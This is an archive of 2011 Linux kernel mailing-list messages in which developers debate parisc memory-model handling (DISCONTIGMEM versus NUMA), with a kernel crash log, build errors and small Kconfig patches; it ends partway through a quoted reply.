+++ b/include/linux/pci_ids.h
@@ -608,6 +608,8 @@
 #define PCI_DEVICE_ID_MATROX_G550	0x2527
 #define PCI_DEVICE_ID_MATROX_VIA	0x4536
 
+#define PCI_VENDOR_ID_MOBILITY_ELECTRONICS	0x14f2
+
 #define PCI_VENDOR_ID_CT		0x102c
 #define PCI_DEVICE_ID_CT_69000		0x00c0
 #define PCI_DEVICE_ID_CT_65545		0x00d8


--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 10:23:35 +0900 (JST)
Lines: 26
Approved: news@gmane.org
Message-ID: <20110420102314.4604.A69D9226@jp.fujitsu.com>
References: <1303249716.11237.26.camel@mulgrave.site> <alpine.DEB.2.00.1104191657030.26867@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303262626 20186 80.91.229.12 (20 Apr 2011 01:23:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 01:23:46 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 03:23:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCM8q-0003D2-Gg
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 03:23:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754192Ab1DTBXj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 21:23:39 -0400
Original-Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]:37258 "EHLO
	fgwmail5.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754183Ab1DTBXi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 21:23:38 -0400
Original-Received: from m4.gw.fujitsu.co.jp (unknown [10.0.50.74])
	by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 6643E3EE0C2;
	Wed, 20 Apr 2011 10:23:37 +0900 (JST)
Original-Received: from smail (m4 [127.0.0.1])
	by outgoing.m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 4A88F45DE52;
	Wed, 20 Apr 2011 10:23:37 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (s4.gw.fujitsu.co.jp [10.0.50.94])
	by m4.gw.fujitsu.co.jp (Postfix) with ESMTP id 33D4D45DE4F;
	Wed, 20 Apr 2011 10:23:37 +0900 (JST)
Original-Received: from s4.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id 27EE21DB803E;
	Wed, 20 Apr 2011 10:23:37 +0900 (JST)
Original-Received: from m107.s.css.fujitsu.com (m107.s.css.fujitsu.com [10.240.81.147])
	by s4.gw.fujitsu.co.jp (Postfix) with ESMTP id DFAA61DB8037;
	Wed, 20 Apr 2011 10:23:36 +0900 (JST)
Original-Received: from m107.css.fujitsu.com (m107 [127.0.0.1])
	by m107.s.css.fujitsu.com (Postfix) with ESMTP id 9096D67000F;
	Wed, 20 Apr 2011 10:23:36 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by m107.s.css.fujitsu.com (Postfix) with ESMTP id E017467000D;
	Wed, 20 Apr 2011 10:23:35 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Wed, 20 Apr 2011 10:23:54 +0900 (JST)
In-Reply-To: <alpine.DEB.2.00.1104191657030.26867@router.home>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3596 gmane.linux.kernel.mm:61641 gmane.linux.kernel:1128817
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3596>

> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > Which part of me telling you that you will break lots of other things in
> > > the core kernel dont you get?
> >
> > I get that you tell me this ... however, the systems that, according to
> > you, should be failing to get to boot prompt do, in fact, manage it.
> 
> If you dont use certain subsystems then it may work. Also do you run with
> debuggin on.
> 
> The following patch is I think what would be needed to fix it.

I'm worry about this patch. A lot of mm code assume !NUMA systems 
only have node 0. Not only SLUB.

I'm not sure why this unfortunate mismatch occur. but I think DISCONTIG
hacks makes less sense. Can we consider parisc turn NUMA on instead?



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 21:33:37 -0500
Lines: 102
Approved: news@gmane.org
Message-ID: <1303266817.11237.37.camel@mulgrave.site>
References: <20110415135144.GE8828@tiehlicka.suse.cz>
	 <alpine.LSU.2.00.1104171952040.22679@sister.anvils>
	 <20110418100131.GD8925@tiehlicka.suse.cz>
	 <20110418135637.5baac204.akpm@linux-foundation.org>
	 <20110419111004.GE21689@tiehlicka.suse.cz>
	 <1303228009.3171.18.camel@mulgrave.site>
	 <BANLkTimYrD_Sby_u-fPSwn-RJJyEVavU5w@mail.gmail.com>
	 <1303233088.3171.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191213120.17888@router.home>
	 <1303235306.3171.33.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191254300.19358@router.home>
	 <1303237217.3171.39.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191325470.19358@router.home>
	 <1303242580.11237.10.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191530040.23077@router.home>
	 <1303248103.11237.16.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191627040.23077@router.home>
	 <1303249716.11237.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191657030.26867@router.home>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303266835 4649 80.91.229.12 (20 Apr 2011 02:33:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 02:33:55 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>, Michal Hocko <mhocko@suse.cz>,
 Andrew Morton <akpm@linux-foundation.org>, Hugh Dickins <hughd@google.com>,
 linux-mm@kvack.org, LKML <linux-kernel@vger.kernel.org>,
 linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: Christoph Lameter <cl@linux.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 04:33:50 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCNEi-0004MN-Ih
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 04:33:48 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id ABDC08D0040; Tue, 19 Apr 2011 22:33:46 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7750A8D003B; Tue, 19 Apr 2011 22:33:45 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 1E9CD8D0040; Tue, 19 Apr 2011 22:33:44 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail138.messagelabs.com (mail138.messagelabs.com [216.82.249.35])
	by kanga.kvack.org (Postfix) with SMTP id AE8BE8D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 22:33:43 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: James.Bottomley@HansenPartnership.com
X-Msg-Ref: server-14.tower-138.messagelabs.com!1303266824!119281372!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [66.63.167.143]
X-SpamReason: No, hits=0.5 required=7.0 tests=BODY_RANDOM_LONG
Original-Received: (qmail 18271 invoked from network); 20 Apr 2011 02:33:44 -0000
Original-Received: from bedivere.hansenpartnership.com (HELO bedivere.hansenpartnership.com) (66.63.167.143)
  by server-14.tower-138.messagelabs.com with SMTP; 20 Apr 2011 02:33:44 -0000
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 1D9EE8EE0F5;
	Tue, 19 Apr 2011 19:33:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7UgsnQDGldMV; Tue, 19 Apr 2011 19:33:42 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 14EF98EE01D;
	Tue, 19 Apr 2011 19:33:40 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1104191657030.26867@router.home>
X-Mailer: Evolution 2.32.1 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61646 gmane.linux.kernel:1128836 gmane.linux.ports.parisc:3597
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61646>

On Tue, 2011-04-19 at 16:58 -0500, Christoph Lameter wrote:
> On Tue, 19 Apr 2011, James Bottomley wrote:
> 
> > > Which part of me telling you that you will break lots of other things in
> > > the core kernel dont you get?
> >
> > I get that you tell me this ... however, the systems that, according to
> > you, should be failing to get to boot prompt do, in fact, manage it.
> 
> If you dont use certain subsystems then it may work. Also do you run with
> debuggin on.
> 
> The following patch is I think what would be needed to fix it.

Not really: crashes immediately on boot

[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 00008870 00000491 00000000 00000002 3e0505e7352af710 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000301
[    0.000000] CPUID vers 20 rev 4 (0x00000284)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/800/rp3440  
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] initrd: 7f390000-7ffedf6d
[    0.000000] initrd: reserving 3f390000-3ffedf6d (mem_max 7fe00000)
[    0.000000] ------------[ cut here ]------------
[    0.000000] kernel BUG at mm/mm_init.c:127!
[    0.000000] 
[    0.000000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    0.000000] PSW: 00001000000001001111111100001110 Not tainted
[    0.000000] r00-03  000000ff0804ff0e 000000004076a640 0000000040798c50 0000004080000000
[    0.000000] r04-07  0000000040746e40 0000000004040000 0000000000000001 0000000040654150
[    0.000000] r08-11  00000000405bd540 000000000407fe00 0000000000000001 0000000000000000
[    0.000000] r12-15  00000000405bc740 000f000000000000 00000000000001ff 000000004076a640
[    0.000000] r16-19  00000000000000ff 0000000000000000 2000000000000000 0000000000000000
[    0.000000] r20-23  0000004080000000 00000000405bd908 0000000000000000 0000000004040000
[    0.000000] r24-27  0000000000000001 0000000000000000 0000004080000000 0000000040746e40
[    0.000000] r28-31  2000000000000000 00000000405b0610 00000000405b0640 0000000000000000
[    0.000000] sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.000000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    0.000000] 
[    0.000000] IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040798fac 0000000040798fb0
[    0.000000]  IIR: 03ffe01f    ISR: 0000000010350000  IOR: 0000010000000000
[    0.000000]  CPU:        0   CR30: 00000000405b0000 CR31: fffffff0f0e098e0
[    0.000000]  ORIG_R28: 000000000003fe00
[    0.000000]  IAOQ[0]: mminit_verify_page_links+0x84/0xa0
[    0.000000]  IAOQ[1]: mminit_verify_page_links+0x88/0xa0
[    0.000000]  RP(r2): memmap_init_zone+0x148/0x2a0
[    0.000000] Backtrace:
[    0.000000]  [<0000000040798c50>] memmap_init_zone+0x148/0x2a0
[    0.000000]  [<0000000040777ca8>] free_area_init_node+0x3c8/0x518
[    0.000000]  [<000000004076fde0>] paging_init+0x928/0xb20
[    0.000000]  [<0000000040770a48>] setup_arch+0xe8/0x120
[    0.000000]  [<000000004076c9a0>] start_kernel+0xf0/0x830
[    0.000000]  [<000000004011f4fc>] start_parisc+0xa4/0xb8
[    0.000000]  [<00000000404b0f0c>] packet_ioctl+0x1e4/0x208
[    0.000000]  [<00000000404a79d0>] unix_ioctl+0x70/0x168
[    0.000000]  [<0000000040482d24>] ip_mc_gsfget+0x14c/0x200
[    0.000000]  [<000000004046cc20>] raw_ioctl+0xe8/0x118
[    0.000000]  [<000000004044f524>] do_tcp_getsockopt+0x5c4/0x5d0
[    0.000000]  [<0000000040432d64>] netlink_getsockopt+0x15c/0x178
[    0.000000] 
[    0.000000] Backtrace:
[    0.000000]  [<000000004011f984>] show_stack+0x14/0x20
[    0.000000]  [<000000004011f9a8>] dump_stack+0x18/0x28
[    0.000000]  [<000000004012022c>] die_if_kernel+0x194/0x258
[    0.000000]  [<0000000040120b30>] handle_interruption+0x840/0x8f8
[    0.000000]  [<0000000040798fac>] mminit_verify_page_links+0x84/0xa0
[    0.000000] 
[    0.000000] ---[ end trace 139ce121c98e96c9 ]---
[    0.000000] Kernel panic - not syncing: Attempted to kill the idle task!
[    0.000000] Backtrace:
[    0.000000]  [<000000004011f984>] show_stack+0x14/0x20
[    0.000000]  [<000000004011f9a8>] dump_stack+0x18/0x28
[    0.000000]  [<000000004015945c>] panic+0xd4/0x368
[    0.000000]  [<000000004015f054>] do_exit+0x89c/0x9d8
[    0.000000]  [<00000000401202d4>] die_if_kernel+0x23c/0x258
[    0.000000]  [<0000000040120b30>] handle_interruption+0x840/0x8f8
[    0.000000]  [<0000000040798fac>] mminit_verify_page_links+0x84/0xa0
[    0.000000] 

There's a lot more to discontigmem than just page_to_nid ... there's the
whole pfn_to_nid() thing as well

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Tue, 19 Apr 2011 21:48:53 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <1303267733.11237.42.camel@mulgrave.site>
References: <1303249716.11237.26.camel@mulgrave.site>
	 <alpine.DEB.2.00.1104191657030.26867@router.home>
	 <20110420102314.4604.A69D9226@jp.fujitsu.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303267744 8172 80.91.229.12 (20 Apr 2011 02:49:04 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 02:49:04 +0000 (UTC)
Cc: Christoph Lameter <cl@linux.com>,
	Pekka Enberg <penberg@kernel.org>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>
To: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 04:48:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCNTO-0001LL-7Y
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 04:48:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752098Ab1DTCs5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2011 22:48:57 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59798 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751737Ab1DTCs4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2011 22:48:56 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3292D8EE0F5;
	Tue, 19 Apr 2011 19:48:56 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id OmS0sU3SwNfz; Tue, 19 Apr 2011 19:48:56 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 40D438EE01D;
	Tue, 19 Apr 2011 19:48:55 -0700 (PDT)
In-Reply-To: <20110420102314.4604.A69D9226@jp.fujitsu.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3598 gmane.linux.kernel.mm:61648 gmane.linux.kernel:1128839
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3598>

On Wed, 2011-04-20 at 10:23 +0900, KOSAKI Motohiro wrote:
> > On Tue, 19 Apr 2011, James Bottomley wrote:
> > 
> > > > Which part of me telling you that you will break lots of other things in
> > > > the core kernel dont you get?
> > >
> > > I get that you tell me this ... however, the systems that, according to
> > > you, should be failing to get to boot prompt do, in fact, manage it.
> > 
> > If you dont use certain subsystems then it may work. Also do you run with
> > debuggin on.
> > 
> > The following patch is I think what would be needed to fix it.
> 
> I'm worry about this patch. A lot of mm code assume !NUMA systems 
> only have node 0. Not only SLUB.
> 
> I'm not sure why this unfortunate mismatch occur. but I think DISCONTIG
> hacks makes less sense. Can we consider parisc turn NUMA on instead?

Well, you mean a patch like this?  It won't build ... obviously we need
some more machinery

  CC      arch/parisc/kernel/asm-offsets.s
In file included from include/linux/sched.h:78,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/topology.h:212:2: error: #error Please define an appropriate SD_NODE_INIT in include/asm/topology.h!!!
In file included from include/linux/sched.h:78,
                 from arch/parisc/kernel/asm-offsets.c:31:
include/linux/topology.h: In function 'numa_node_id':
include/linux/topology.h:255: error: implicit declaration of function 'cpu_to_node'

James

---

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 69ff049..ffe4058 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -261,6 +261,9 @@ config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
 
+config NUMA
+       def_bool n
+
 config NR_CPUS
 	int "Maximum number of CPUs (2-32)"
 	range 2 32
diff --git a/mm/Kconfig b/mm/Kconfig
index e9c0c61..17a1474 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -64,6 +64,7 @@ endchoice
 config DISCONTIGMEM
 	def_bool y
 	depends on (!SELECT_MEMORY_MODEL && ARCH_DISCONTIGMEM_ENABLE) || DISCONTIGMEM_MANUAL
+	select NUMA
 
 config SPARSEMEM
 	def_bool y



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Wed, 20 Apr 2011 11:57:48 +0900 (JST)
Lines: 52
Approved: news@gmane.org
Message-ID: <20110420115804.461E.A69D9226@jp.fujitsu.com>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <1303267733.11237.42.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: dough.gmane.org 1303268286 10241 80.91.229.12 (20 Apr 2011 02:58:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 02:58:06 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
 Christoph Lameter <cl@linux.com>,
 Pekka Enberg <penberg@kernel.org>,
 Michal Hocko <mhocko@suse.cz>,
 Andrew Morton <akpm@linux-foundation.org>,
 Hugh Dickins <hughd@google.com>,
 linux-mm@kvack.org,
 LKML <linux-kernel@vger.kernel.org>,
 linux-parisc@vger.kernel.org,
 David Rientjes <rientjes@google.com>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: owner-linux-mm@kvack.org Wed Apr 20 04:58:00 2011
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1QCNc8-0004zu-25
	for glkm-linux-mm-2@m.gmane.org; Wed, 20 Apr 2011 04:58:00 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 050D78D0041; Tue, 19 Apr 2011 22:57:58 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B95648D003B; Tue, 19 Apr 2011 22:57:56 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3A7488D0041; Tue, 19 Apr 2011 22:57:55 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail190.messagelabs.com (mail190.messagelabs.com [216.82.249.51])
	by kanga.kvack.org (Postfix) with ESMTP id E36128D003B
	for <linux-mm@kvack.org>; Tue, 19 Apr 2011 22:57:54 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: kosaki.motohiro@jp.fujitsu.com
X-Msg-Ref: server-12.tower-190.messagelabs.com!1303268272!121884080!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [192.51.44.36]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMTkyLjUxLjQ0LjM2ID0+IDIxODUy\n
Original-Received: (qmail 31010 invoked from network); 20 Apr 2011 02:57:54 -0000
Original-Received: from fgwmail6.fujitsu.co.jp (HELO fgwmail6.fujitsu.co.jp) (192.51.44.36)
  by server-12.tower-190.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 20 Apr 2011 02:57:54 -0000
Original-Received: from m1.gw.fujitsu.co.jp (unknown [10.0.50.71])
	by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id 759573EE0BB
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 11:57:50 +0900 (JST)
Original-Received: from smail (m1 [127.0.0.1])
	by outgoing.m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 4DEFA45DE97
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 11:57:50 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (s1.gw.fujitsu.co.jp [10.0.50.91])
	by m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 3187745DE92
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 11:57:50 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id 21E33E38008
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 11:57:50 +0900 (JST)
Original-Received: from ml14.s.css.fujitsu.com (ml14.s.css.fujitsu.com [10.240.81.134])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id DA5CEE38004
	for <linux-mm@kvack.org>; Wed, 20 Apr 2011 11:57:49 +0900 (JST)
Original-Received: from ml14.css.fujitsu.com (ml14 [127.0.0.1])
	by ml14.s.css.fujitsu.com (Postfix) with ESMTP id A80A09F6EA0;
	Wed, 20 Apr 2011 11:57:49 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by ml14.s.css.fujitsu.com (Postfix) with ESMTP id D01C49F6EB3;
	Wed, 20 Apr 2011 11:57:48 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Wed, 20 Apr 2011 11:58:18 +0900 (JST)
In-Reply-To: <1303267733.11237.42.camel@mulgrave.site>
X-Mailer: Becky! ver. 2.56.05 [ja]
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61650 gmane.linux.kernel:1128841 gmane.linux.ports.parisc:3599
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61650>

> On Wed, 2011-04-20 at 10:23 +0900, KOSAKI Motohiro wrote:
> > > On Tue, 19 Apr 2011, James Bottomley wrote:
> > >=20
> > > > > Which part of me telling you that you will break lots of other =
things in
> > > > > the core kernel dont you get?
> > > >
> > > > I get that you tell me this ... however, the systems that, accord=
ing to
> > > > you, should be failing to get to boot prompt do, in fact, manage =
it.
> > >=20
> > > If you dont use certain subsystems then it may work. Also do you ru=
n with
> > > debuggin on.
> > >=20
> > > The following patch is I think what would be needed to fix it.
> >=20
> > I'm worry about this patch. A lot of mm code assume !NUMA systems=20
> > only have node 0. Not only SLUB.
> >=20
> > I'm not sure why this unfortunate mismatch occur. but I think DISCONT=
IG
> > hacks makes less sense. Can we consider parisc turn NUMA on instead?
>=20
> Well, you mean a patch like this?  It won't build ... obviously we need
> some more machinery
>=20
>   CC      arch/parisc/kernel/asm-offsets.s
> In file included from include/linux/sched.h:78,
>                  from arch/parisc/kernel/asm-offsets.c:31:
> include/linux/topology.h:212:2: error: #error Please define an appropri=
